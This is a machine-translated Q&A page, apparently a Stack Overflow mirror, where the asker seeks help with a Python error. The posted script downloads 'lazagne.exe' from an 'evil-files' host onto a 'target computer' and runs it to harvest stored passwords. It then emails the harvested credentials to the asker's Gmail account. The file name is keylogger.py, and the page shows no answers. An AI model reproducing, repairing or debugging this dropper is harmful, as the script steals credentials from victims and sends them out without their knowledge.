如何解决该python错误?追溯(最近一次通话)

时间:2020-05-11 08:37:29

标签: python python-2.7 python-requests

我想制作一个python程序,该程序将lazane软件下载并执行到目标计算机,然后将结果发送到我的邮箱中。但是有一些错误提示我要谢谢。

代码

import requests , subprocess, smtplib


def download(url):
    get_response = requests.get(url)
    file_name = url.split("/")[-1]
    with open(file_name, "wb") as out_file:
        out_file.write(get_response.content)


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


download("http://192.168.10.9/evil-files/lazagne.exe")
result = subprocess.check_output("lazagne.exe", shell=True)
send_mail("emmajuila909@gmail.com", "mypassword", result)

错误

回溯(最近通话最近):

中的文件“ C:/path/keylogger.py”,第18行
result = subprocess.check_output("lazagne.exe", shell=True)

check_output中的文件“ C:\ New folder \ lib \ subprocess.py”,第411行

return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,

文件“ C:\ New folder \ lib \ subprocess.py”,第512行,正在运行

raise CalledProcessError(retcode, process.args,

subprocess.CalledProcessError:命令“ lazagne.exe”返回了非零退出状态1。

以退出代码1完成的过程

0 个答案:

没有答案